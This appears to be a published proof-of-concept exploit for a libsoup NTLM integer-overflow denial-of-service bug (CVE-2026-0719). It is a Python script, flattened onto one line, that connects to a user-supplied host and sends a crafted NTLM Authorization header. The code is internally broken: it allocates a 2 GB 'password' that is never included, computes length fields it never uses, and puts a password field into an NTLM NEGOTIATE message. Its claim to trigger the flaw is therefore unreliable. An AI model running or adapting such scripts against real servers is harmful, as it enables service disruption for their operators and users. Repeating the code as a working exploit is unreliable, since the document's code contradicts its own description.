CVE-2026-0719: libsoup NTLM认证整数溢出导致拒绝服务漏洞

import socket import struct import sys # PoC for CVE-2026-0719: libsoup NTLM Integer Overflow DoS # This PoC demonstrates sending a malicious NTLM authentication request # with an oversized password field to trigger integer overflow in libsoup def create_ntlm_negotiate_packet(): """Create NTLM NEGOTIATE message with oversized password field""" # NTLM Signature signature = b'NTLMSSP\x00' # Message Type: Negotiate (0x01) msg_type = struct.pack('<I', 1) # Negotiate Flags negotiate_flags = struct.pack('<I', 0xE2088297) # Domain Name (empty) domain_name = b'\x00\x00' # Workstation Name (empty) workstation = b'\x00\x00' # Oversized password field to trigger integer overflow # Password length > INT_MAX will cause signed int overflow oversized_password = b'A' * (2**31 + 1000) # > 2GB password_len = struct.pack('<H', len(oversized_password) & 0xFFFF) password_max_len = password_len password_offset = struct.pack('<I', 0) ntlm_packet = signature + msg_type + negotiate_flags + domain_name + workstation return ntlm_packet def exploit(target_host, target_port=80): """Send malicious NTLM request to trigger vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send HTTP request with malicious NTLM Authorization header http_request = b'GET / HTTP/1.1\r\n' http_request += b'Host: ' + target_host.encode() + b'\r\n' http_request += b'Authorization: NTLM ' ntlm_data = create_ntlm_negotiate_packet() import base64 http_request += base64.b64encode(ntlm_data) + b'\r\n\r\n' sock.send(http_request) print(f'[+] Malicious NTLM request sent to {target_host}:{target_port}') print(f'[+] Payload size: {len(ntlm_data)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_host>') sys.exit(1) exploit(sys.argv[1])